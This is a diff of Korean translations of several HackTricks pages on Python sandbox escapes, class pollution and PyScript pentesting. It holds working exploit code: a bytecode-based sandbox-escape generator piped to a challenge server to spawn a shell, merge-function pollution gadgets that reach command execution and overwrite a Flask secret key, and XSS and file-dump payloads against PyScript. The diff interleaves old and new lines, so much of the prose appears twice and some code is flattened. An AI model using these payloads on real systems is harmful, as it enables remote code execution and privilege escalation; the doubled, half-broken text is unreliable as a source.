예를 들어 `co_names=()`로 `LOAD_NAME 5`에서 오프셋 5에서 `__getattribute__` 이름을 가져올 수 있다고 가정해봅시다. 그럼 다음과 같은 작업을 수행하면 됩니다:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> 주목할 점은 `__getattribute__`로 이름을 지정할 필요가 없다는 것입니다. 더 짧거나 더 이상한 이름으로 지정할 수도 있습니다.
|
||||
> `__getattribute__`로 이름을 지을 필요는 없습니다. 더 짧거나 더 이상한 이름으로 지을 수도 있습니다.
|
||||
|
||||
바이트 코드를 확인하면 그 이유를 이해할 수 있습니다:
|
||||
바이트코드를 보기만 해도 그 이유를 이해할 수 있습니다:
|
||||
```python
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
|
@ -92,16 +91,16 @@ FAST_DISPATCH();
|
|||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
`LOAD_ATTR`는 `co_names`에서도 이름을 가져옵니다. Python은 이름이 동일한 경우 동일한 오프셋에서 이름을 로드합니다. 따라서 두 번째 `__getattribute__`는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하여 이름이 메모리 근처에 있으면 임의의 이름을 사용할 수 있습니다.
|
||||
`LOAD_ATTR`도 `co_names`에서 이름을 검색합니다. Python은 이름이 동일한 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 `__getattribute__`는 여전히 오프셋=5에서 로드됩니다. 이 기능을 사용하면 이름이 메모리 근처에 있으면 임의의 이름을 사용할 수 있습니다.
|
||||
|
||||
숫자를 생성하는 것은 간단해야합니다:
|
||||
숫자를 생성하는 것은 간단해야 합니다:
|
||||
|
||||
* 0: not \[\[]]
|
||||
* 1: not \[]
|
||||
* 2: (not \[]) + (not \[])
|
||||
* ...
|
||||
|
||||
### Exploit Script <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
### 악용 스크립트 <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
|
||||
길이 제한 때문에 상수를 사용하지 않았습니다.
|
||||
|
||||
|
@ -140,7 +139,7 @@ print(f'{n}: {ret}')
|
|||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
그리고 다음은 실제 Python 악용을 생성하기 위한 것입니다.
|
||||
그리고 다음은 실제 Python exploit을 생성하는 데 사용됩니다.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
|
@ -217,7 +216,7 @@ print(source)
|
|||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
기본적으로 다음과 같은 작업을 수행합니다. `__dir__` 메서드에서 얻은 문자열에 대해 다음 작업을 수행합니다:
|
||||
그것은 기본적으로 다음 작업을 수행합니다. 우리가 `__dir__` 메소드에서 얻는 문자열에 대해:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
|
@ -230,16 +229,17 @@ getattr(
|
|||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Class Pollution (Python's Prototype Pollution)
|
||||
# 클래스 오염 (Python의 프로토타입 오염)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 예제
|
||||
|
||||
문자열로 객체의 클래스를 오염시킬 수 있는 방법을 확인하세요:
|
||||
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
|
@ -41,62 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
|
||||
## 기본 취약점 예제
|
||||
|
||||
Consider the following Python code:
|
||||
|
||||
```python
|
||||
class User:
|
||||
def __init__(self, username, password):
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
def login(self):
|
||||
# Code for logging in the user
|
||||
|
||||
def logout(self):
|
||||
# Code for logging out the user
|
||||
|
||||
class Admin(User):
|
||||
def __init__(self, username, password):
|
||||
super().__init__(username, password)
|
||||
self.is_admin = True
|
||||
|
||||
def promote_user(self, user):
|
||||
# Code for promoting a user to admin
|
||||
|
||||
def delete_user(self, user):
|
||||
# Code for deleting a user
|
||||
|
||||
user = User("john", "password123")
|
||||
admin = Admin("admin", "admin123")
|
||||
|
||||
user.login()
|
||||
admin.promote_user(user)
|
||||
```
|
||||
|
||||
In this example, we have a basic User class with a login and logout method. We also have an Admin class that inherits from the User class and has additional methods for promoting and deleting users.
|
||||
|
||||
Now, let's say an attacker is able to manipulate the prototype of the User class. They can do this by polluting the class's prototype with additional properties or methods. For example, they could add a `leak_credentials` method to the User class prototype.
|
||||
|
||||
```python
|
||||
User.prototype.leak_credentials = function() {
|
||||
console.log(this.username, this.password);
|
||||
};
|
||||
```
|
||||
|
||||
Once the prototype is polluted, the attacker can call the `leak_credentials` method on any instance of the User class, including the `admin` instance.
|
||||
|
||||
```python
|
||||
user.leak_credentials(); // "john", "password123"
|
||||
admin.leak_credentials(); // "admin", "admin123"
|
||||
```
|
||||
|
||||
As we can see, the attacker is able to access and leak the credentials of both the regular user and the admin user.
|
||||
|
||||
This is a basic example of class pollution in Python, where an attacker is able to manipulate the prototype of a class and add malicious properties or methods. It highlights the importance of properly securing and validating user input to prevent such attacks.
|
||||
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
|
@ -129,41 +74,62 @@ USER_INPUT = {
|
|||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
|
||||
## 가젯 예시
|
||||
|
||||
<details>
|
||||
|
||||
<summary>클래스 속성 기본값을 RCE(subprocess)로 생성하기</summary>
|
||||
<summary>클래스 속성 기본값을 RCE(subprocess)로 만들기</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
## Recursive merge function
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
|
||||
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
## Create default value for Employee.custom\_command
|
||||
|
||||
merge(USER\_INPUT, recruiter\_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||
|
||||
````
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>globals</code>를 통해 다른 클래스와 전역 변수 오염시키기</summary>
|
||||
<summary><code>globals</code>를 통해 다른 클래스 및 전역 변수 오염</summary>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
|
@ -190,40 +156,46 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
|||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
````
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>임의의 서브프로세스 실행</summary>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
\`\`\`python import subprocess, json
|
||||
|
||||
class Employee: def **init**(self): pass
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
## Recursive merge function
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
## Overwrite env var "COMSPEC" to execute a calc
|
||||
|
||||
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||
|
||||
merge(USER\_INPUT, Employee())
|
||||
merge(USER_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
|
||||
````
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>__kwdefaults__</code></strong> 덮어쓰기</summary>
|
||||
|
||||
**`__kwdefaults__`**는 모든 함수의 특수 속성입니다. Python [문서](https://docs.python.org/3/library/inspect.html)에 따르면, 이는 "키워드 전용 매개변수의 기본값에 대한 매핑"입니다. 이 속성을 오염시키면 함수의 키워드 전용 매개변수의 기본값을 제어할 수 있습니다. 이는 \* 또는 \*args 뒤에 오는 함수의 매개변수입니다.
|
||||
**`__kwdefaults__`**는 모든 함수의 특별한 속성입니다. Python [문서](https://docs.python.org/3/library/inspect.html)에 따르면 이것은 "키워드 전용 매개변수의 기본값을 나타내는 매핑"입니다. 이 속성을 오염시키면 함수의 키워드 전용 매개변수의 기본값을 제어할 수 있게 됩니다. 이러한 매개변수는 \* 또는 \*args 뒤에 오는 함수의 매개변수들입니다.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
@ -259,25 +231,22 @@ merge(emp_info, Employee())
|
|||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
````
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>다른 파일에서 Flask 시크릿 덮어쓰기</summary>
|
||||
|
||||
따라서, 웹의 주요 파이썬 파일에서 정의된 객체에 대해 클래스 오염을 수행할 수 있지만, 해당 클래스는 주요 파일과 다른 파일에서 정의됩니다. 이전 페이로드에서 \_\_globals\_\_에 접근하려면 객체의 클래스 또는 클래스의 메서드에 접근해야 하므로 해당 파일의 글로벌 변수에 접근할 수 있지만, 주요 파일에서는 접근할 수 없습니다.\
|
||||
따라서, 주요 페이지에서 **시크릿 키**를 정의한 Flask 앱 글로벌 객체에는 **접근할 수 없습니다**.
|
||||
|
||||
그래서, 웹의 주요 파이썬 파일에 정의된 객체에 대한 클래스 오염을 수행할 수 있지만 **클래스가 주 파일과 다른 파일에 정의**되어 있는 경우입니다. 이전 페이로드에서 \_\_globals\_\_에 액세스하려면 객체의 클래스 또는 클래스의 메서드에 액세스해야 하므로 **해당 파일의 글로벌에 액세스할 수 있지만 주 파일에서는 그렇지 않을 것**입니다. \
|
||||
따라서, 주 페이지에서 **시크릿 키를 정의한 Flask 앱 글로벌 객체에 액세스할 수 없을 것**입니다:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
이 시나리오에서는 Flask 시크릿 키를 변경하고 [이 키를 알고 권한을 상승](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)할 수 있도록 **전역 객체 `app.secret_key`에 액세스**해야 합니다.
|
||||
|
||||
이 시나리오에서는 Flask 시크릿 키를 변경하여 권한을 상승시킬 수 있도록 하기 위해 메인 파일에 접근하기 위한 파일 탐색 도구가 필요합니다. 이를 위해 전역 객체 `app.secret_key`에 접근해야 합니다. 이 키를 알면 [이 권한 상승 기법](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)을 사용할 수 있습니다.
|
||||
|
||||
[이 writeup](https://ctftime.org/writeup/36082)에서 제공하는 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
[이 writeup에서](https://ctftime.org/writeup/36082)와 같은 페이로드를 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
|
@ -285,11 +254,11 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이 페이로드를 사용하여 `app.secret_key` (앱에서의 이름은 다를 수 있음)을 변경하여 새로운 권한을 가진 flask 쿠키를 서명할 수 있습니다.
|
||||
이 페이로드를 사용하여 **`app.secret_key`를 변경**하십시오 (귀하의 앱에서의 이름은 다를 수 있음) 새로운 및 더 많은 권한을 가진 flask 쿠키를 서명할 수 있도록합니다.
|
||||
|
||||
</details>
|
||||
|
||||
더 많은 읽기 전용 가젯을 확인하려면 다음 페이지를 참조하세요:
|
||||
더 많은 읽기 전용 가젯을 확인하려면 다음 페이지도 확인하십시오:
|
||||
|
||||
{% content-ref url="python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](python-internal-read-gadgets.md)
|
||||
|
@ -299,16 +268,17 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하십시오.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하십시오.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Pyscript
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PyScript Pentesting Guide
|
||||
|
||||
PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
|
||||
PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 PyScript를 사용하여 취약성 진단 목적으로 어떻게 사용하는지 알 수 있습니다.
|
||||
|
||||
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기:
|
||||
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색:
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
|
@ -53,7 +54,7 @@ print('<script>console.pylog = console.log; console.logs = []; console.log = fun
|
|||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
|
||||
|
||||
### 크로스 사이트 스크립팅 (일반적인)
|
||||
### 크로스 사이트 스크립팅 (일반)
|
||||
|
||||
코드:
|
||||
```python
|
||||
|
@ -83,7 +84,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
|||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)
|
||||
|
||||
### 크로스 사이트 스크립팅 (자바스크립트 난독화)
|
||||
### 크로스 사이트 스크립팅 (JavaScript 난독화)
|
||||
|
||||
코드:
|
||||
```html
|
||||
|
@ -108,16 +109,17 @@ print(" &
|
|||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Python 내부 읽기 가젯
|
||||
# Python 내부 Read 가젯
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
